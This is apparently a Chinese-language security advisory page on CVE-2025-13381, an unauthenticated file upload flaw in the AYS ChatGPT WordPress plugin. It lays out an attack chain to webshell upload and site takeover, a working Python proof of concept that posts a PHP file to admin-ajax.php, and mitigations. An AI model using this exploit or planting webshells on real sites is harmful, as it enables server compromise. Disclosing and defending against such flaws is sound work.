IPBUF安全漏洞报告
English
CVE-2025-13381 CVSS 5.3 中危

CVE-2025-13381 WordPress AYS ChatGPT插件未授权文件上传漏洞

披露日期: 2025-11-27

漏洞信息

漏洞编号
CVE-2025-13381
漏洞类型
缺少授权检查/任意文件上传
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AI ChatBot with ChatGPT and Content Generator by AYS plugin for WordPress

相关标签

CVE-2025-13381WordPress插件漏洞缺少授权检查任意文件上传AYS ChatGPT插件未授权访问MEDIUM严重等级CVSS 5.3远程代码执行WordPress安全

漏洞概述

CVE-2025-13381是WordPress平台AI ChatBot with ChatGPT and Content Generator by AYS插件中的一个高危安全漏洞。该插件旨在为WordPress网站提供AI聊天机器人和内容生成功能,在全球范围内被广泛使用。漏洞根源在于插件的'ays_chatgpt_save_wp_media'函数缺少WordPress capability检查,导致任何未经身份验证的用户都可以调用该函数上传媒体文件。攻击者可以利用此漏洞上传任意文件到服务器,包括潜在的恶意PHP脚本文件,从而可能导致网站被完全入侵。由于该漏洞不需要任何认证且利用复杂度较低,任何能够访问网站前端的攻击者都可以轻松利用此漏洞。漏洞影响范围涵盖插件2.7.0及以下所有版本,已在2.7.1版本中得到修复。建议所有使用该插件的用户立即升级到最新版本以消除安全风险。

技术细节

该漏洞属于OWASP Top 10中的A01:2021-Broken Access Control类别。具体来说,插件在处理媒体文件上传的AJAX端点时,未正确验证用户权限。WordPress的admin-ajax.php端点通常需要通过wp_ajax_*或wp_ajax_nopriv_*钩子来处理请求,而nopriv钩子允许未登录用户访问。问题代码位于admin/class-chatgpt-assistant-admin.php文件的ays_chatgpt_save_wp_media函数中,该函数直接处理文件上传逻辑而未调用current_user_can()或类似的权限检查函数。攻击者可以通过构造恶意的POST请求到/wp-admin/admin-ajax.php端点,指定action参数为ays_chatgpt_save_wp_media,并附加精心构造的文件数据来上传任意文件。成功利用后,攻击者可能上传包含webshell的PHP文件,并通过访问上传的文件路径来执行任意代码,从而获得服务器的完全控制权。CVSS 3.1评分5.3(Medium)反映了该漏洞通过网络利用、无需权限和无需交互的特点,但由于机密性影响低(仅影响完整性),因此评分相对适中。

攻击链分析

STEP 1
步骤1
攻击者发现目标网站运行使用AI ChatBot with ChatGPT and Content Generator by AYS插件(版本≤2.7.0)
STEP 2
步骤2
攻击者识别出插件的AJAX端点/wp-admin/admin-ajax.php存在未授权访问漏洞,action参数为ays_chatgpt_save_wp_media
STEP 3
步骤3
攻击者构造恶意POST请求,包含精心构造的文件数据(如PHP webshell),设置action为ays_chatgpt_save_wp_media
STEP 4
步骤4
由于函数缺少current_user_can()权限检查,服务器直接处理文件上传请求,将恶意文件保存到wp-content/uploads/目录
STEP 5
步骤5
攻击者通过HTTP请求访问上传的恶意文件路径,触发PHP代码执行,获得服务器远程代码执行能力
STEP 6
步骤6
攻击者进一步利用RCE漏洞读取数据库凭证、植入后门或完全接管WordPress网站

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import sys ''' CVE-2025-13381 PoC - Unauthenticated File Upload AI ChatBot with ChatGPT and Content Generator by AYS plugin < 2.7.1 Discovered by: Wordfence Threat Intelligence Team ''' target_url = sys.argv[1] if len(sys.argv) > 1 else 'http://target-wordpress-site.com' # Step 1: Upload malicious file via vulnerable endpoint upload_url = f'{target_url}/wp-admin/admin-ajax.php' # Create a simple PHP webshell or test file files = { 'file': ('malicious.php', '<?php echo "VULNERABLE"; ?>', 'application/octet-stream') } data = { 'action': 'ays_chatgpt_save_wp_media', 'ays_chatgpt_nonce': 'any_value' # Nonce not validated for unauthenticated users } print(f'[*] Attempting to upload file to {target_url}') print(f'[*] Target endpoint: {upload_url}') try: response = requests.post(upload_url, data=data, files=files, timeout=30) print(f'[*] Response Status: {response.status_code}') print(f'[*] Response Body: {response.text}') # Check for successful upload indicators if response.status_code == 200: print('[+] Request completed - check response for upload path') print('[+] If file uploaded successfully, access it via wp-content/uploads/') except requests.exceptions.RequestException as e: print(f'[-] Error: {e}') print('\n[*] Mitigation: Upgrade to version 2.7.1 or later')

影响范围

AI ChatBot with ChatGPT and Content Generator by AYS plugin <= 2.7.0

防御指南

临时缓解措施
在无法立即升级插件的情况下,可采取以下临时缓解措施:1) 删除或禁用AYS ChatGPT插件直至完成升级;2) 通过Web服务器配置(如Apache的.htaccess或Nginx配置)禁止uploads目录中的PHP文件执行;3) 使用WordPress安全插件(如Wordfence)添加额外的访问控制层;4) 限制/admin/admin-ajax.php端点的访问来源;5) 监控wp-content/uploads/目录的文件创建活动。但最根本的解决方案仍是升级到插件2.7.1版本。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表